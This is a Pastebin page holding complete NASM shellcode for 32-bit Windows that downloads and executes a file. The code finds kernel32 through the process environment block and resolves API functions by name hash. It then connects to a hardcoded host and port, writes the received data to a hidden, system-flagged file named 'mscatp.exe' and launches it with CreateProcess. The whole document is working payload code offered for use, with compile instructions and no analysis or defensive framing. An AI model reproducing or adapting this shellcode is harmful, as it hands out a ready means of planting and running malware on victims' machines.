Advertisement
FlyFar

shellcode.asm

Jun 6th, 2023
754
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 5.02 KB | Cybersecurity | 0 0
  1. ;      Title:  Win32 API Download/Execute file
  2. ;  Platforms:  Windows NT 4.0, Windows 2000, Windows XP, Windows 2003
  3.  
  4.  
  5. ;To compile:
  6. ;nasmw -fbin -O6 shellcode.asm
  7.  
  8.  
  9. FILE_ATTRIBUTE_HIDDEN   EQU 2
  10. FILE_ATTRIBUTE_SYSTEM   EQU 4
  11. CREATE_ALWAYS       EQU 2
  12. FILE_SHARE_READ     EQU 1
  13. GENERIC_WRITE       EQU 0x40000000
  14.  
  15. BUFF_SIZE       EQU 512
  16.  
  17.  
  18. %xdefine        FILENAME    'mscatp.exe'
  19.  
  20.  
  21. CPU 386
  22. [BITS 32]
  23.  
  24.  
  25. GLOBAL _entry
  26. _entry:
  27.  
  28.     cld
  29.     call Kernel32Base
  30.  
  31.  
  32. ; ARGS:     edx: API name hash
  33. ;       ebx: dll address
  34. ; Return:   eax: API address
  35. ; ERROR:    ecx == 0
  36. LGetProcAddress:        ; USES ebx ebp esi edi
  37.     push ebp
  38.     push esi
  39.     push edi
  40.     mov eax, [ebx + 0x3c]
  41.     lea esi, [ebx + eax + 0x78]
  42.     lodsd           ; Export Table RVA
  43.     push dword [esi]    ; Export Table size
  44.     add eax, ebx        ; Export Table address
  45.     push eax
  46.     mov ecx, [eax + 0x18]   ; NumberOfNames
  47.     mov ebp, [eax + 0x20]
  48.     add ebp, ebx        ; AddressOfNames
  49.  
  50. .Nextf
  51.     jecxz   .End1
  52.     dec ecx
  53.     mov esi, [ebp + ecx * 4]
  54.     add esi, ebx
  55.     xor edi, edi
  56.  
  57. .Lhash
  58.     xor eax, eax
  59.     lodsb
  60.     cmp al, ah
  61.     je .Fh
  62.     ror edi, 13
  63.     add edi, eax
  64.     jmp short .Lhash
  65.  
  66. .Fh
  67.     cmp edi, edx
  68.     jnz .Nextf
  69.  
  70.     pop ebp             ; Export Table
  71.     mov edx, [ebp + 0x24]
  72.     add edx, ebx            ; AddressOfNameOrdinals
  73.     mov cx, [edx + ecx * 2]
  74.     mov edx, [ebp + 0x1C]
  75.     add edx, ebx            ; AddressOfFunctions
  76.     mov eax, [edx + 4 * ecx]
  77.     add eax, ebx
  78.  
  79. .FDone
  80.     pop ecx     ; Export Table size
  81.     push eax
  82.     sub eax, ebp
  83.     cmp eax, ecx
  84.     pop eax
  85.     ja .End2
  86.  
  87.     xchg esi, eax       ; Export Forwarding
  88.     sub esp, byte 0x40
  89.     mov edi, esp
  90.  
  91. .FCopy
  92.     stosb
  93.     lodsb
  94.     cmp al, '.'
  95.     jne .FCopy
  96.  
  97.     mov byte [edi], 0
  98.     mov edi, esp
  99.     inc edi
  100.  
  101.     mov ebp, [esp + 0x48]       ; old EBP
  102.     push edi
  103.     call [ebp - __LOADLIBRARY]
  104.     push esi
  105.     push eax
  106.     call [ebp - __GETPROCADDR]
  107.     add esp, byte (0x40 - 8)
  108.     mov cl, 1   ;ecx != 0
  109.  
  110. .End1
  111.     add esp, byte 8
  112. .End2
  113.     pop edi
  114.     pop esi
  115.     pop ebp
  116.     ret
  117.  
  118.  
  119. Kernel32Base:
  120.     mov eax, [fs:0x30]
  121.     test eax, eax
  122.     js .find_kernel32_9x
  123. .find_kernel32_nt
  124.     mov eax, [eax + 0x0c]
  125.     mov esi, [eax + 0x1c]
  126.     lodsd
  127.     mov ebx, [eax + 0x8]
  128.     jmp short .kf
  129. .find_kernel32_9x
  130.     mov eax, [eax + 0x34]
  131.     mov ebx, [eax + 0xB8]
  132. .kf
  133.  
  134.     pop edi
  135.  
  136.     ; ebx = kernel32
  137.     ; edi = LGetProcAddress
  138.  
  139.     mov ebp, esp
  140.     push ebx                ; __KERNEL32
  141.  
  142.     mov edx, 0xec0e4e8e         ; LoadLibraryA
  143.     call edi
  144.     push eax                ; __LOADLIBRARY
  145.  
  146.     mov edx, 0x7c0dfcaa         ; GetProcAddress
  147.     call edi
  148.     push eax                ; __GETPROCADDR
  149.     push eax
  150.  
  151.  
  152.     __KERNEL32  EQU 0x4 ;[ebp - 4]
  153.     __LOADLIBRARY   EQU 0x8 ;[ebp - 8]
  154.     __GETPROCADDR   EQU 0xC ;[ebp - 0xC]
  155.     DL_FILENAME EQU 0x10    ;[ebp - 0xC]
  156.  
  157.     STACK_CNT   EQU DL_FILENAME
  158.  
  159.     call .LoadK32
  160.  
  161. .KERNEL32
  162.         CloseHandle         EQU ((1*4) + STACK_CNT)
  163.     dd 0x0ffd97fb
  164.         CreateFile          EQU ((2*4) + STACK_CNT)
  165.     dd 0x7c0017a5
  166.         WriteFile           EQU ((3*4) + STACK_CNT)
  167.     dd 0xe80a791f
  168.         ExitThread          EQU ((4*4) + STACK_CNT)
  169.     dd 0x60e0ceef
  170.         CreateProcess           EQU ((5*4) + STACK_CNT)
  171.     dd 0x16b3fe72
  172.  
  173.  
  174.     K32_APINUM  EQU (($-.KERNEL32)/4)
  175.  
  176. .LoadK32
  177.     pop esi
  178.     push K32_APINUM
  179.     pop ecx
  180.  
  181. .k32
  182.     push ecx
  183.     lodsd
  184.     xchg edx, eax
  185.     call edi
  186.     pop ecx
  187.     push eax        ;save APIs on stack
  188.  
  189.     loop .k32
  190.  
  191.  
  192.     call .LoadWsock32
  193.  
  194.     db 'WS2_32', 0,0
  195.  
  196. .WSOCK32
  197.  
  198.         WSAStartup      EQU (((1*4) + STACK_CNT) + (K32_APINUM*4))
  199.     dd  0x3bfcedcb  
  200.          socket         EQU (((2*4) + STACK_CNT) + (K32_APINUM*4))
  201.     dd  0x492f0b6e 
  202.          closesocket        EQU (((3*4) + STACK_CNT) + (K32_APINUM*4))
  203.     dd  0x79c679e7 
  204.          connect        EQU (((4*4) + STACK_CNT) + (K32_APINUM*4))
  205.     dd  0x60aaf9ec
  206.         recv            EQU (((5*4) + STACK_CNT) + (K32_APINUM*4)) 
  207.     dd  0xe71819b6
  208.  
  209.     WSOCK32_APINUM      EQU (($-.WSOCK32)/4)
  210.  
  211. .LoadWsock32
  212.     pop esi
  213.  
  214.     push esi
  215.     call [ebp - __LOADLIBRARY]
  216.     xchg ebx, eax
  217.  
  218.     push WSOCK32_APINUM
  219.     pop ecx
  220.     lodsd
  221.     lodsd
  222.  
  223. .Wsock32
  224.     push ecx
  225.     lodsd
  226.     xchg edx, eax
  227.     call edi
  228.     pop ecx
  229.     push eax        ;save APIs on stack
  230.  
  231.     loop .Wsock32
  232.  
  233.     sub esp, BUFF_SIZE
  234.     push esp
  235.     push 2
  236.     call [ebp - WSAStartup]
  237.  
  238.     xor eax, eax
  239.     push eax
  240.     push eax
  241.     push eax
  242.     push 1
  243.     push 2
  244.     call [ebp - socket]
  245.     xchg ebx, eax
  246.  
  247.     push 0x0100007f     ;host: 127.0.0.1
  248.     push 0x11220002     ;port: 8721
  249.     mov edx, esp
  250.  
  251.     push 0
  252.     push FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM
  253.     push CREATE_ALWAYS
  254.     push 0
  255.     push FILE_SHARE_READ
  256.     push GENERIC_WRITE
  257.     call .lpFileName
  258.     DB  FILENAME,0
  259.  
  260. .lpFileName
  261.     pop eax
  262.     mov [ebp - DL_FILENAME], eax
  263.     push eax
  264.  
  265.     push 0x10
  266.     push edx
  267.     push ebx
  268.     call [ebp - connect]
  269.     or eax, eax
  270.     jnz .cs
  271.  
  272.     call [ebp - CreateFile]
  273.     xchg esi, eax
  274.     inc eax
  275.     jz .cs
  276.  
  277.     mov edi, esp
  278. .recvloop
  279.     push 0
  280.     push BUFF_SIZE
  281.     push edi
  282.     push ebx
  283.     call [ebp - recv]
  284.     or eax, eax
  285.     jle .cf
  286.  
  287.     push 0
  288.     push esp
  289.     push eax
  290.     push edi
  291.     push esi
  292.     call [ebp - WriteFile]
  293.     jmp short .recvloop
  294.  
  295. .cf
  296.     push esi
  297.     call [ebp - CloseHandle]
  298.  
  299. .cs
  300.     push ebx
  301.     call [ebp - closesocket]
  302.  
  303.     push esp
  304.     lea edi, [esp + 0x14]
  305.     push edi
  306.     xor eax, eax
  307.     push 0x44
  308.     pop ecx
  309.     mov [edi], ecx
  310.     inc edi
  311.     rep stosb
  312.  
  313.     mov cl, 7
  314. .push0
  315.     push eax
  316.     loop .push0
  317.     push DWORD [ebp - DL_FILENAME]
  318.     call [ebp - CreateProcess]
  319.  
  320.     call [ebp - CloseHandle]
  321.     call [ebp - CloseHandle]
  322.  
  323. .exit
  324.     push 0
  325.     call [ebp - ExitThread]
Tags: shellcode nasm
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement